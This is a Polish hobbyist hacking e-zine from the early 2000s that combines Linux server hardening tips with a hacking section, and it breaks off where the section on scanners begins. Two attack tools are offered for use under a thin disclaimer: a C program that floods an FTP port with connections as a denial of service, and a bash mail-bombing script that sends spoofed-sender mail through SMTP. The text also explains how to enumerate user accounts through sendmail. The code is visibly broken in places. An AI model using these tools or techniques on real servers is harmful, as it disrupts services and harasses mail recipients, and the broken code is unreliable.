hacking różne



MarKUS _(text)
Czytacie wlasnie droga wersje mojego magazynu internetowego.
Znajdziecie tutaj poprawione wersje artukulow z pierwszej
czesci. Bedzie takze sporo nowych dzialow, znajda sie kody
zrodlowe moich programow. Zaznaczam ze nie jest to zaden
magazyn hackerski a jedynie pare ciekawych artykulow
do poczytania.


Author: MarKUS

******************************** *
*Wszelkie zamieszczone tutaj *
*informacje sa podane w celach *
*edukacyjnych. Autor nie ponosi *
*zadnej odpowiedzialnosci za *
*szkody wyrzadzone po ich *
*przeczytaniu. *
* *
* Author MarKUS *
**********************************



0)WSTEP od MarKUSa


SECURITY



1)INSTALACJA NIEZBEDNYCH APLIKACJI...................................[MarKUS]
2)WYLACZANIE ZBEDNYCH USLOG..........................................[MarKUS]
3)INETD....(superdemon.(czy napewno?)................................[MarKUS]
4)PLIKI Z ATRYBUTAMI SUID A BEZPIECZENSTWO...........................[MarKUS]
5)BEZPIECZNE LOGI....................................................[MarKUS]
a)logi konsoli.......................................................[MarKUS]
b)logi serwera ftp...................................................[MarKUS]
c)logi serwera apache................................................[MarKUS]
d)przekierowanie logow na inna "maszyne".............................[MarKUS]
e)Podstawowe logi....................................................[MarKUS]
6)BEPIECZNE PRZYDZIELANIE KONT.......................................[MarKUS]
7)KONFIGURACJA SERVERA FTP...........................................[MarKUS]
8)SERWERY POCZTOWE...................................................[MarKUS]
a)Mail@Boomber.......................................................[MarKUS]
- wylancznie expn i vrfy.............................................[MarKUS]
- komenda sendmail (nazwy uzytkonikow)...............................[MarKUS]
9)FIREWALL (ZAPORY SIECIOWE).........................................[MarKUS]
a) Co to w ogole jest?...............................................[MarKUS]


HACKING

1)SKANERY............................................................[MarKUS]
a)skanery sieciowe...................................................[MarKUS]
-Nmap................................................................[MarKUS]
-nessus..............................................................[MarKUS]
b)skanery systemowe..................................................[MarKUS]
2)ZBIERANIE INFORMACJI O SERWERZE...(zdalne).........................[MarKUS]
a)Po co to sie przyda?...............................................[MarKUS]
b)nie zostawic duzo sladow...........................................[MarKUS]
c)ID_SCAN............................................................[MarKUS]
3)ZBIERANIE INFORMAJI O SERWERZE..(localnie).........................[MarKUS]
a)LOCAL_SCAN.........................................................[MarKUS]
4)Ukrywanie tozsamosci...............................................[MarKUS]
a)potrzebny dobry "sprzatacz"........................................[MarKUS]
b)CLEAN@LOG..........................................................[MarKUS]
5)BACKDOORS..........................................................[MarKUS]
a)co to jest?........................................................[MarKUS]
b)backdoor.......(dupa a nie backdoor)...............................[MarKUS]
c)passwd.....(program dodajacy konto a nie backdoor:))...............[MarKUS]
d)fakelogin....(program wyciagajacy hasla)...........................[MarKUS]
6)SNIFFERY...........................................................[MarKUS]
a)co to jest?........................................................[MarKUS]
b)czy wszystkie musze miec ustawiona flage IFF_Promisc?..............[MarKUS]
c)gdzie jest najlepiej zalozyc sniffera..............................[MarKUS]


0)............................WSTEP....................................0)

Czytacie wlasnie wstep mojego nowego artykulu dotyczacego w glownej
mierze bezpieczenstwa serwerow sieciowych jak i rowniez hackingu jego
metod oraz metod ich zabezpieczen. Wiekszosc artykolow napisalem opierajac
sie na wlasnych doswiadczeniach, zamieszczam takze kody zrodlowe wlasnych programow.
Wszystkie pytania dotyczace mojego textu, te pochwalne jak i krytyczne,
prosze przysylac na adres markus@poczta.fm. Wszyskie maile typu powiedz co to passwd
lub jeszcze bardziej glupie pytania beda odrazu ladowac w koszu. Jestem natomiast
otwarty na wszelkie propozycje dotyczacej jakichkolwiek wspolpracy (oczywiscie
zwiazanych z odpowiednimi tematami) oczywiscie wszelkie propozycje na maila.
Prawdopodobnie bedzie to ostatnia wersja w takiej formie artykulu, nastepne wersje
oraz nowe texty beda znajdowac sie na mojej stronie(adresu nie powiem bo jeszcze nie
wiem gdzie, ale jak co to dowiecie sie odemnie).
Na dole znajduja sie podziekowania dla ludzi mi bliskich oraz osob ktore w jakiejs
mierze przyczynily sie do powstania tego atrykulu.

GREETZ:"Marco", "Sh3n","szkl@rek","Verebes","Darek"
"Michal Zalewski(Lcamtuf)", O tych ktorych zapomnialem wymienic to przepraszam



SECURITY

1)...................INSTALACJA NIEZBEDNYCH ULUG........................1)


Podczas instalowania linuxa na serwer (i nie tylko) instalujemy jedynie
te pakiety ktore sa nam naprawde potrzebne. Instalator sluzy do tego
aby te pakiety wybierac a nie "wcisnac" full i
jazda. Juz podczas instalacji zwracamy duza uwage na bezpieczenstwo.
Najpierw trzeba sie zastanowic do czego bedzie nam potrzeby
serwer czy bedzie on udostepniajac kata ssh, telnet(rzadkosc)
czy ftp lub www. Trzeba sie zastanowic jaki serwer ftp zainstalowac,
poniewaz to tez ma wplyw na bezpieczenstwo. Powszechnie wiadnomo ze serwer
(wuftp) nie jest najbezpieczniejszy. W niektorych wersjach wystepuja powazne
luki. W wiekszosci serwerow instalowany jest proftp (przynajmniej teraz).
Nie bede tu opisywal szczegolow to dalej. Nastepnie trzeba sie zdecydowac
na jakis serwer pocztowy. Mamy do wyboru kilka wersji.
Najpopularniejszy jest sendmail. Wczesniejsze wersje zawieraly sporo
powaznych dziur. Aktualne wersje sa juz w miare bezpieczne. Jesli
jednak nie potrzebujemy tego narzedzia mozemy skorzystac z postfixa
jak i qmaila. Sa to bardzo bezpieczne serwery pocztowe jak i rowniez
proste w konfiguracji oraz instalacji.
Co do wersji serwera www to nie mamy duzego pola do popisu. Najpopularniejszy
oczywiscie to apatche.
Zajmijmy sie teraz instalowaniem linuxa oraz jego pakietow.
Na poczatku przypominam ze instalacja jest po to by wybrac z niej potrzebne
komponenty. Na pewno beda nam potrzebne takie programy jak:
kompilatory, odpowiednie demony, shelle.Nie sa nam potrzebne
x-y - przynajmniej do serwera oraz jakies gry, ktore w dodatku maja
wlaczone atrybut suid. Trzeba ograniczyc instalowanie programow
z tymi atrybutami. To by bylo na tyle wstepu.


2)....................WYLANCZENIE ZBEDNYCH USLOG.........................2)


Zaraz po zainstalowaniu linuxa nalezy powylaczac niektore uslugi.
Odnosze sie do wersji linuxa slackware 8.0 z zainstalowanym inetd
(w xinedzie jest troche inaczej jak co to napisz). Nalezy zachaszowac zbedne
uslugi miedzy innymi finger, ktory moze hackerom udostepnic informacje o pracujacych
w naszym serwerze uzytkownikach. Nastepnie powinnismy pozbyc sie telneta,
ktory nie posiada szyfrowania (latwy lup dla snifferow).Przez niego mozna
dowiedziec sie o wersji kernela czy zainstalowanej dystrybucji.
Wystarczy polaczyc sie na port 23 przez telnet i juz, o ile admin nic nie zmienil,
uzyskujemy informacje na temat kernela. Odmawiam takze korzystania z jakichkolwiek
uslug r. np.: rlogin, rinetd, itp. Trzeba takze wylaczyc informacje wyciekajace
przez sendmaila. Sa to polecenia vrfy, oraz expn, przez ktore mozna dowiedzec sie
jakie konta sa zalozone na serwie. Stosuje sie tu metode chybil trafil: laczymy
sie na port 25 (serer pocztowy) i wpisujemy expn . Jak trafisz to
pokaze Ci sie od niego konto pocztowe a jak nie to user unknown.
Wylaczanie tych uslug znajduje sie w dziale o sendmailu. Musisz takze zrobic
pozadek w plikach rc.d znajdujacych sie w katalogu /etc. Nalezy
tam wylaczyc zbedne uslugi, ktore w znaczny sposob obciazaja nasz system a nie sa
nam potrzebne. Nalezy przy tym uwazac aby nie wylaczyc czegos potrzebnego.
Wylaczamy takze anonimowego ftp. Radze takze wylaczyc usloge rpcbind ktory
dziala na porcie 111 (systemy linux)


3)...................INETD.(superdemon(czy napewno?)).........................3)

INETD jest to superdemon zarzadzajacy roznymi programami sieciowymi. np: telnet
ftp. Jest to demon stosowany juz od jakiegos czasu. Posiada wady, jedna ale
znaczaca wade nie jest uodporniony na ataki typu DoS (denial of Service). Ponizej
zalaczylem program mojego autorstwa ktory blokuje uslugi typu ftp wlasnie
z demonem ident. Mozna jednak temu zapobiec przez stosowanie inetd+tcpd lub
zastosowanie nowego demona zwanego xinetd. Jest to demon ktory posiada wiele
ciekawych funkcji takich jak udostepnianie np uslogi ftp o danej godzinie i
wiele innych ciekawych funkcji (jak potrzebujesz pomocy w instalacji i konfi-
guracji sluze pomoca). Jest on odporny na atak typu DoS ale jedynie z jednego
komputera, nie na ataki skoordynowane z wielu komputerow na raz. Mozna jeszcze
korzystac z innych demonow jak rinetd z ktorych nie mialem jeszcze doczynienia
wiec nie moge nic na ten temat pisac.

---CUT HERE---

/* DoS
Open_SOCKET.c

program otwiera na serwerze bardzo duza ilosc gniazd przez
co niektore uslogi na pewien czas zostaja unieruchomione.

Testowane na slackware 8.0 oczywiscie z inetd.
proftp 1.2.2.rc3
sendmail 8.11.4
ssh 2.9
Autor MarKUS

Ps. Standardowo jest ustawione na 3500 polaczen a portem domyslnym jest
ftp mozesz to latwo zmienic w kodzie, nie bede pisal jak bo to proste

Oczywiscie autor nie ponosi odpowiedzialnosci za szkody wyrzadzone tym programem
uzywanie na wlasna odpowiedzialnosc najlepiej testowac na wlasnym kompie :)

*/


#include
#include
#include
#include
#include

int main(int argc, char *argv[])
{
char *host;
int odp, rezultat;
int dlugosc;
struct sockaddr_in adres;
struct hostent *hostinfo;
struct servent *serwinfo;
int n = 1;
if(argc == 1)
{
fprintf(stderr, "\n Author: MarKUS \n\n"

"Usage: \n"
"host :target host\n"
);
exit(1);
}
host = argv[1];
hostinfo = gethostbyname(host);
if(!hostinfo) {
fprintf(stderr, "Host %s lookup failed\n", host);
exit(1);
}
serwinfo = getservbyname("ftp", "tcp");
if(!serwinfo) {
fprintf(stderr, "cannot create socket\n");
exit(1);
}
printf("numbert port %d\n", ntohs(serwinfo -> s_port));
for (n = 0; n < 3500; n++)
{
odp = socket(AF_INET, SOCK_STREAM, 0);
adres.sin_family = AF_INET;
adres.sin_port = htons(21);
adres.sin_addr = *(struct in_addr *)*hostinfo -> h_addr_list;
dlugosc = sizeof(adres);
n = rezultat = connect(odp, (struct sockaddr *)&adres, dlugosc);
if(rezultat == -1) {
perror("Connection refused");
exit(1);
}
close(odp);
}
exit(0);
}

---CUT HERE---

4).......................PLIKI SUID A BEZPIECZENSTWO..........................4)

Pliki suid, sgid maja specjalna specyfike polega ona na tym ze za kazdym
razem jesli uruchamia ktos program z atrybutem suid lub sgid sa uruchamiane
z uprawieniami jego wlasciciela. Naprzyklad uzytkownik uruchamiajacy
jakis program z atrybutem suid a wlascicielem jego jest root bedzie wykonywany
jakby uruchamial go root. Programy z tymi prawami sa potenjalnymi celami
hackerow do uzyskania root. Explolity dzialaja na zasadach ze wykorzystaja
bledy programow posiadajace atrybuty suid. Atrybudy suid powinny byc
sciagane z programow ktore ich nie potrzebuja albo usunac te programy jak
jakies gry czy wygaszacze programow. Odbieranie programom atrybutu suid
polega na wpisaniu chmod -s . Aby sprawdzic natomiast jakie
programy mamy w systemie z atrybutami suid wpisujemy find / -perm +4000.
To na tyle co do plikow suid i radze Ci sprawdzac co jakis czas czy nie masz
jakis nowych programow suid.

5)......................BEZPIECZNE LOGI........................................5)

Logi sa to informacje zawierajace informacji o proby logowan, poprawnych,
niepoprawnych,
z jakiego serwera byly te proby jak i rowiez logi na temat dzialania naszego
serwera. Logi sa to bardzo wazne informacje i nalezy o nie nalezycie dbac.
Powszechnie wiadomo ze logi zawiaraja np: informacje o logowaniu sie
do serwera i inne tego typu informacje o ktorych takze wie potencjalny wlamywacz
ktory za wszelka cene chce ukryc swaja dzialalnosc i mies kontrole nad servem.
Nie nalezy korzystac jedynie z logow sysloga a takze z innych programow.

a) Wyrzucanie logow na konsole

Jest to sposob na czytanie logow w czasie rzeczywistym, jesli masz dostep
fizyczny do komputera prawie caly czas i siedzisz przy klawiaturze
wiec mozesz sobie to wlaczyc i co jakis czas zajrzec tam. NIe jest
to moze zbyt wygorowany sposob ale w polaczeniu z innymi narzedziami
sprawuje sie dobrze podkreslam ze nie nalezy urzywac jedynie standardowych
programow ba idzie je w latwy sposob oszukac oraz sfalszowac logi.
Aby wyrzucic jakies logi na konsole nalezy wyedytowac plik
/etc/syslog.conf i dopisac tam linijke *.* /dev/tty12
a wszystkie logi laduja na konsoli oczywiscie trzeba najpierw
zrestartowac demona.


b)logi serwera ftp

Ponizej opisuje gdzie sa przechowywane logi z wersji ftp proftp 1.2.2 rc3
Miejsce gdzie jest zdefiniowane w ktorym miejscu sa przechowywane logi to
proftpd.conf do ktorego ma dostep nawet zwykly urzytkownik (instalacja
defaultowa). Jest tam zdefiniowana w pliku /var/log/proftpd.log jest
tam wypisane kto sie kiedy o ktorej logowal oraz z jakiego adresu ip
oraz plik xferlog do ktorego zostaja zapisane dane o pobranych plikach
o ktorej godzine i przez jakiego urzytkownika. Dla zwiekszenia choc
w malym stopniu bezpieczenstwa logow mozesz zmienic domyslny plik
gdzie ma byc zapisane logi oraz odebrac prawo przegladania pliku
konfiguracyjnego gdzie te dane sa zapisane.



przyklad proftpd.log:

Dec 28 21:29:52 MarKUS proftpd[138] MarKUS.Linux (localhost[127.0.0.1]): FTP session opened.
Dec 28 21:29:58 MarKUS proftpd[138] MarKUS.Linux (localhost[127.0.0.1]): ANON anonymous: Login successful.
Dec 28 21:30:04 MarKUS proftpd[138] MarKUS.Linux (localhost[127.0.0.1]): FTP session closed.


przyklady xferlog:

Mon Feb 11 19:45:45 2002 0 localhost 424 /home/markus/save b _ o r markus ftp 0 * c



c) logi serwera apache 1.3.20

Podstawowe logi, w domyslnej konfiguracji oraz bez ustawionych serwerow wirtualnych
znajduja sie w katalogu /var/log/apache. Znajduja sie tam dwa logi

access_log - informacje kto kiedy i co robil na serwerze:
godzina, data, polecenie. Zapisywany w wolnym texcie.

Przyklad logu:

127.0.0.1 - - [09/Feb/2002:22:15:40 +0100] "GET / HTTP/1.1" 200 4152
127.0.0.1 - - [09/Feb/2002:22:15:44 +0100] "GET / HTTP/1.1" 200 4152
127.0.0.1 - - [09/Feb/2002:22:15:52 +0100] "GET" 200 4152

error_log - bledy zwiazane z wykonanymi czynnosciami, poleceniami

przyklad logu

[Sat Feb 9 22:19:31 2002] [error] [client 127.0.0.1] Invalid method in request sdsd
[Sat Feb 9 22:19:44 2002] [error] [client 127.0.0.1] Invalid method in request GET://



d) Przekierowywanie logow na inna maszyne

Dobrym sposobem na logi jest ich przekierowywanie na inna maszyne.
Idzie to zrobic w bardzo latwy sposob. Logi te idzie przekazywac
do kompa w naszej sieci ktoy bedzie sluzyl jedynie do tego typu
celow (wieksze sieci). A mozna takze zalozyc sobie jakies konto
nawet pocztowe na ktore bedziemy wysylac te logi co jakis czas.
Nawet gdy ktos sie wlamie do naszego serva i zmieni sobie logi
jedne niezmienione beda znajdowac sie na tamtej maszynie. Idzie
to zrobic w prosty sposob napisac prosty skrypt wrzucic go
do crona czy cos takiego. Mozna zrobic cos takiego tazke stosowane
zadko (przynajmniej mi sie tak wydaje) wyrzucac logi na jakis nosnik,
lub nawet drukarke. Najlepiej stosowac przekierowywanie archiwizacja
danych na cd to juz mozemy powiedziec ze zaden lamer nam sie nie wlamie.
Jak bede mial chwile czasu to napisze taki skrypt.


e) Podstawowe logi

Polecenie lastlog. Mozna przez to uzyskac uzytkownika ktory sie
logowal ostatnio, o ktorej godzienie sie dany urzytkownik zalogowal
oraz na jaka konsole. Idzie takze wyswietlac dane dotyczace
jednego urzytkownika wpisuje sie to lastlog -u
Dane ktore pobiera lastlog znajduja sie w pliku /var/log/lastlog.
Ponizej wyswietlam przykladowy log:

Username Port From Latest
root tty2 Sun Dec 2 15:05:34 +0100 2001
bin **Never logged in**
daemon **Never logged in**
adm **Never logged in**
lp **Never logged in**
sync **Never logged in**
shutdown **Never logged in**
halt **Never logged in**
mail **Never logged in**
news **Never logged in**
uucp **Never logged in**
operator **Never logged in**
games **Never logged in**
ftp **Never logged in**
mysql **Never logged in**
gdm **Never logged in**
nobody **Never logged in**
markus tty5 Sun Dec 2 13:21:49 +0100 2001


Drugim tego typu poleceniem jest last ktory wyswietla
informacje o ostatnim logowaniu uzytkownika. Ponizej przedstawiam
przykladowe logowanie

root tty2 Sun Dec 2 15:05 still logged in
root tty1 Sun Dec 2 15:02 still logged in
runlevel ~ 2.2.19 Sun Dec 2 15:01
reboot ~ 2.2.19 Sun Dec 2 15:01
shutdown ~~ 2.2.19 Sun Dec 2 14:41 - crash (00:20)
runlevel ~ 2.2.19 Sun Dec 2 14:41
markus ftp localhost Sun Dec 2 13:30 - 13:30 (00:00)
markus ftp localhost Sun Dec 2 13:28 - 13:28 (00:00)
root tty6 Sun Dec 2 13:28 - 14:41 (01:13)
markus tty5 Sun Dec 2 13:21 - 14:41 (01:19)
root tty4 Sun Dec 2 13:21 - 14:41 (01:19)
root tty3 Sun Dec 2 13:20 - 14:41 (01:20)
root tty2 Sun Dec 2 13:17 - 14:41 (01:23)
root tty1 Sun Dec 2 13:11 - 14:41 (01:29)
runlevel ~ 2.2.19 Sun Dec 2 13:11
reboot ~ 2.2.19 Sun Dec 2 13:11
shutdown ~~ 2.2.19 Sat Dec 1 17:38 - crash (19:32)
runlevel ~ 2.2.19 Sat Dec 1 17:38
root tty1 Sat Dec 1 11:58 - 17:38 (05:40)
runlevel ~ 2.2.19 Sat Dec 1 11:58
reboot ~ 2.2.19 Sat Dec 1 11:58
shutdown ~~ 2.2.19 Fri Nov 30 20:57 - crash (15:00)
runlevel ~ 2.2.19 Fri Nov 30 20:57
markus tty2 Fri Nov 30 20:42 - 20:57 (00:14)
root tty1 Fri Nov 30 20:42 - 20:57 (00:15)
runlevel ~ 2.2.19 Fri Nov 30 20:42
reboot ~ 2.2.19 Fri Nov 30 20:42
shutdown ~~ 2.2.19 Fri Nov 30 20:41 - crash (00:00)
runlevel ~ 2.2.19 Fri Nov 30 20:41
markus tty3 Fri Nov 30 20:49 - 20:41 (23:52)
root tty2 Fri Nov 30 20:46 - 20:41 (23:54)
root tty1 Fri Nov 30 20:45 - 20:41 (23:56)
runlevel ~ 2.2.19 Fri Nov 30 20:44
reboot ~ 2.2.19 Fri Nov 30 20:44

wtmp begins Fri Nov 30 20:44:41 2001

Nastepnym sposobem sprawdzenia aktualnie zalogowanych uzytkownikach oraz co
aktualnie robia jest komenda w. Ponizej
zamieszczam przyklad takiego logu:

3:14pm up 12 min, 2 users, load average: 0.01, 0.01, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
root tty1 - 3:02pm 10:39 11.55s 11.08s mc
root tty2 - 3:05pm 0.00s 0.45s 0.01s w


Sprawdzanie aktualnych polaczen z sieciowych z serwerem mozemy wyswietlic
komenda netstat. Mozemy sie przez to dowiedziec jakie gniazda sa w stanie
LISTEN itd. Polecenie te mozemy wyswietlac z roznymi parametrami,
nie bede tu tego opisywac poniewaz sa one dostepne po poleceniu
netstat -h. Ponizej pokazuje wam przykkladowe dzialanie programu netstat
z parametrem -a (all):

Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 *:www *:* LISTEN
tcp 0 0 *:587 *:* LISTEN
tcp 0 0 *:smtp *:* LISTEN
tcp 0 0 *:printer *:* LISTEN
tcp 0 0 *:ssh *:* LISTEN
tcp 0 0 *:ftp *:* LISTEN
tcp 0 0 *:sunrpc *:* LISTEN
udp 0 0 *:sunrpc *:*
raw 0 0 *:icmp *:* 7
raw 0 0 *:tcp *:* 7
Active UNIX domain sockets (servers and established)
Proto RefCnt Flags Type State I-Node Path
unix 2 [ ] DGRAM 36 /dev/log
unix 0 [ ACC ] STREAM LISTENING 45 /dev/printer
unix 0 [ ACC ] STREAM LISTENING 72 /dev/gpmctl
unix 0 [ ] DGRAM 56
unix 0 [ ] DGRAM 39

Sa to logi standardowe o ktoryh dzialanosci znaja nie tylko adminu
ale rowniez hackerzy. Wiec nie mozna calkowicie polegac jedynie
na tych narzedziach, lecz stosowac takze inne narzedzia nie
wchodzace w podstawowa instalacje systemu linux. Opis tych narzedzi
znajdzie sie w jednym z nastepnych rozdzialow.

Zastanawialem sie czy opisac tu powszechnie znany demon syslogd ktory
wykorzystywany jest przez wiele programow ale nie opisuje poniewaz
artykolow dostepnych jest o nim wiele.
Jest takze demon klogd ktory zapisuje wyswietlane informacje od jadra.
Plik w ktorym zapisywane sa te informacje to (domyslny) /var/log/messages




6).....................BEZPIECZNE PRZYDZIELANIE KONT.................6)

Najwanzniejszym kontem w systemie jest konto roota (admina). Konto te
ma nieograniczona wladze, mozna przez nie dodawac inne konta zmieniac prawa
dostepow do plikow.
Sluzy ono do administracji calego serwera. Oprocz kont roota w systemie
sieciowym jest szereg innych kont, uzytkowikow ktorzy korzystaja z naszego serwera
i z zainstalowanych na nim programach. Nie maja oni takich praw jak ty
nie moga przegladac wszystkich plikow. Jest to oczywiste ze zwiazane
jest to z bezpieczenstwem naszego serwera. Oprocz naszego konta root
nalezy sobie stworzyc konto urzytkownika na ktorym bedziemy robic wiekszosc
czynnosci, ktore nie potrzebuja wyzszych praw. Konto root sluzyc nam bedzie
do instalacji nowych narzedzi konserwacji systemu czy sprawdzaniu dziennie
logow:) (zart co dwa dni:))
Konta ktore bedziemy przydzielac innym uzytkownikom nie powinny byc dawane bezmyslnie
Jesli kont tych bedzie duzo nalezy to umiescic najlepiej na osobnej partycji
/home (dziennie robic backupy:))Prawdopodobnie bedziemy uzytkownikom udostepniac
jedynie takie programy jak gcc (zeby uzytkownik mogl sprawdzac nowe explolity:))
a takze irc (BitchX itp.) zeby sie mogl pochwalic wlamaniami. Nie a teraz powaznie
jak sie decydujemy na takie cos to musimy byc przygotowani do czestych backupow systemu.
Do tworzenia kont urzywamy takich programow jak: adduser, useradd. Mozna takze napisac
wlasny program ktory tworzy konta. Jest tak na wielu serwerach udostepniajacych darmowe
kona telnet czy ssh. wystarczy polaczyc sie z serverm na dany port 21 lub 22 i jako login
wpisac newuser i wypelnic pewna ankiete (jest to jedynie pzyklad dla darmowych kont).


7).......................KONFIGURACJA SERWERA FTP.............................7)

Ftp (File transfer protocol) sluzy do przesylania plikow na inna maszyne i na odwrot.
Ftp w wiekszosci serwerow dziala na porcie 21. Jest on uruchomiony na wiekszosciach
maszyn. Tak samo jak usloga telnet nie posiada szyfrowania a wiec jest latwym
lupem dla snifferow.

a) Wersje serwerow ftp i ich opis.

Dla serwerow linuxowskich rozrozniamy dwa glowne serwery ftp sa to
-wuftp. Jest to serwer z dosc pogata przeszloscia dotyczaca dziur
najnowsza wersja (chyba 6.1) jak na razie jest pozbawiona jakis
powaznych luk (tak wiadomo autorowi) natomiast wersje wczesniejsze
jak 6.0 posiadaja powazne luki w systemie. Ja osobiscie odradzam stosowania
tych serwerow (osobista niechec) ale jak chcesz to spoko,
- proftp jest to takze serwer ftp ktorego uzywam ja. Aktualna
wersja (przynajmniej w tym czasie to 1.2.2rc3) i jest to jak na razie wersja
odporna na jakiekolwiek ataki.

b) Plik konfiguracyjny
Plik konfiguracyjny wersji proftp znajduje sie w /etc/proftpd.conf
Nie bede tu wszystkiego opisywal bo mozna to znalesc w man i innych
dobrych artykolach dotyczacych konfiguracji ftp, a zreszta tam wszystko
jest opisane.


8)......................SERWERY POCZTOWE..............................8)

Serwery pocztowe jak sama nazwa mowi sluza do oblsugi poczty. Protokol
ktory do tego sluzy nosi nazwe SMTP(SIMPLE MAIL TRANSFER PROTOCOL).
Serwery te sa
uruchomione na wiekszosci kompach podlaczonych do netu. Serwery te dzialaja
glownie na porcie 25 a sa to programy sendmail, postfix, qmail.
Glownym problemem programu sendmail i nie tylko jest mozliwosc
wyslania prawie anonimowego listu. Prawie poniewaz idzie do tego
dosc po naglowkach. Z konta ktorego wysylasz tego maila musi
byc na zalozone na servie. Ponizej opisz polecenia protokolu
SMTP oraz zamieszcze bardzo prosty program do wysylania maili.

helo - wymienia dane potrzebne do indentyfikowania
mail sluzy to rozpoczecia wysylania emaila
rcpt - okresla odbiorce
expn, frvy - dwie ciekawe komendy w sendmailu za ktorymi idzie
uzyskac informacje o kontach na serwie o ile admin tego nam nie
wylaczyl.
quit - zakonczenie sesji
Ponizej zamieszczam program

a) Mail@Boomber

---CUT HERE---

#!/bin/bash
clear
echo " *****************Mail@Boomber-1.0*******************"
echo " * Author: MarKUS *"
echo " ****************************************************** "
echo ""
echo " ****************************************************** "
echo " * Program ten przestawia mozliwosc wysylania prawie *"
echo " * anonimowych maili. Autor nie ponosi zadnej *"
echo " * odpowiedzialnosci za wyrzadzone szkody *"
echo " * Program do testowania tylko! na wlasnych maszynach * "
echo " ****************************************************** "
echo
echo "Tu wpisz email nadawcy:"
read nadawca
while [ "$nadawca" != "$nadawca" ]; do
echo "email niepoprawny"
read nadawca
echo
done
echo
echo "Ty wpisz adres email odbiorcy:"
read odbiorca
while [ "$odbiorca" != "$odbiorca" ]; do
echo ""
read odbiorca
echo
done
echo
echo "Tu wpisz nazwe serwera:"
read serwer
while [ "$serwer" != "$serwer" ]; do
echo ""
read serwer
echo
done
echo
echo "Tu wpisz tresc emaila:"
read mai
while [ "$mai" != "$mai" ]; do
echo ""
read mai
echo
done
echo
echo "Tu wpisz ilosc emaili:"
read ilosc
lov=1
while [ "$lov" -le $ilosc ]
do
(sleep 1; echo "helo ty"
sleep 1; echo "mail from: $nadawca"
sleep 1; echo "rcpt to: $odbiorca"
sleep 2; echo -e "Data\n"
echo $mai; echo "."
sleep 2; echo -e "quit\n"
sleep 3 ) | telnet $serwer 25
clear
lov=$(($lov+1))
done
echo
exit 0
fi
exit 0


---CUT HERE---

Programy tego typu oczywiscie nie sa bez wad. Jesli wysylamy program z wlasnego
serwa nasz adres ip trafi do maila. NIektore wersje emaila byly podatne na
atak falszowania tych danych. POlegal on na przepelnieniu bufora helo i
dzialalo to wersjach sendmaila 8.8.8 o ile dobrze pamietam a wiec i tak
dawno juz to nie dziala bo chyba jest juz malo (ale sa :)) takie serwery.
POnizej zamieszczeam skraweg naglowka z wysylanego listu localnie.

/***
From root@MarKUS.Linux Mon Dec 3 19:53:24 2001
Return-Path:
Received: from localhost (localhost [127.0.0.1])
by MarKUS.Linux (8.11.4/8.11.4) with SMTP id fB3IqMg00396;
Mon, 3 Dec 2001 19:53:13 +0100
Date: Mon, 3 Dec 2001 19:53:13 +0100
From: root@MarKUS.Linux
Message-Id: <200112031853.fB3IqMg00396@MarKUS.Linux>
Status: RO
X-Status: D
X-Keywords:
X-UID: 5

/***
to jest przyklad takiego naglowka poniewaz sa one przewaznie o wiele dluzsze
bo przechodza one przez wiele serwerow. MOzna sie z tego dowiedziec wiele
ciekawych informacji o ktorej list zostal wyslany z jakiego serva adres ip
dnia.







--------Wylanczanie expn i vrfy-----------------------------

Polecnia te dwa sa w sendmailu i moga one ujawnic uzytkownikow
zalozonych na naszym serwie. Polecnia te nalezy wylaczyc z
naszego sendmaila robimy to przez zmiany w pliku konfiguracyjnym
sendmaila sendmail.cf
Zmiany te wpisujemy w linijce O_PrivacyOptions=authawarnings
wpisujemy na koncu tego noexpn oraz novrfy. Ninijka powinna wygladac tak
O_PrivacyOptions=authawarnings,noexpn,novrfy. Po uruchomieniu sendmaila
ponownie polecenia te beda wylaczone.


-----------------Komenda sendmail-----------------------------

Jesli masz konto na serwerze a chcialbys sie dowiedziec o innych
kontach a nie masz dostepu do passwd czy zmieniac katalogo gdzie
maja konta uzytkownikow, a expn i vrfy sa wylaczone pozostaje
jeszcze mozliwosc dostepu przez polecenie sendmail. A wiec tak
jest mozliwosc zgadywania nazw uzytkownikow w sposob nastepujacy.
Wpisujesz sendmail nazwa_uzytkownika jesli uzytkownik taki bedzie
w systemie nic sie nie pokaze a jesli nie bedzie, wyswietli
sie User unknown.


9).......................FIREWALL (ZAPORY SIECIOWE).................9)

Co to jest ten FIREWALL jest to sposob blokujacy dostep do naszej sieci
osobom z zewn. Pewnie sie zastanawiasz jak chcesz kogos dopuscic do
naszej sieci to co zrobic. A wiec tak mozna zalozyc sobie firewall na
jakims zwyklym komputerze skonfigurowac sobie firewalla tak aby
przyjmowal polaczenia jedynie z hostow autoryzowanych. Mozna takze
blokowac polaczenia od uzytkownikow probojacych wykonywac jakies nie
niebezpieczne polecenia.
Ponizej przedstawiam prosty schemat w jaki sposob dziala firewall

koputer1 Komputer2 (siec local)
| |
|-----------HUB---------router----internet
(np)


Krotki opis jak widac wszystkie pakiety i zewnatrz i wewnatrz musza
przechodzic przez nasz router. Daje nam tu duze pole do popisu
do filtrowania pakietow, jakie polaczenia przyjmujemy a jakie nie.
Jest to dobry sposob zabezpieczen lecz aby stworzyc dobry firewall
trzeba nad tym dosc sporo czasu. Nalezy dokladnie wszystko przemyslec
Najbardziej (chyba) dostepnym firewallem jest IPchains. jest to firewall
pod system linux stosowany na jadra od 2.2 nie mam zamiaru to tego wszyskiego
opisywac bo jest to w bardzo dobry sposob opisane w HOWTO dotyczacego tego.






HACKING





1)............................SKANERY..................................1)

Skanery takie sa to programy ktore ktore sluza do analizowania bezpieczenstwa
sieci. Szukaja one jakie porty sa otwarte jakie uslogi sa udostepnione.
Skanery mozna podzielis na skanery systemowe jak i sieciowe.

Najpopularniejsze rodzaje skanowania;

- TCP SYN - w tym typie nie jest nawiazywanie polaczenia. Skanowanie
te nazywa sie powszechnie polotwarte. Skaner z taka opcja wysyla pakiet
SYN jesli port komputera skanowanego odpowie SYN/ACK to bedzie oznaczac
ze port dziala, jesli natomiast nie nasluchuje to zostanie wyslane RST/ACK/

- Trojstronne polaczenie. Polega to na pelnym polaczniem z portem danego
komputera. Nie jest to zbyt bezpieczne poniewaz zostaje wszystko w logach
bez wiekszego wysilania.

- UDP - przesylany zostaje pakiet udp do komputera skanowanego na wybrany port.
W ten sposob port powinien odpowiedziec ICMP port unreachable w tedy bedziemy wiedziec
ze port jest zamkniety, jesli natomiast port nie odpowie wogole to port jest
otwarty.

Jest jeszcze pare rodzajow takich jak TCP FIN, TCP ACK i pare innych ale to znajdziesz
w innych textach.


a) skanery sieciowe

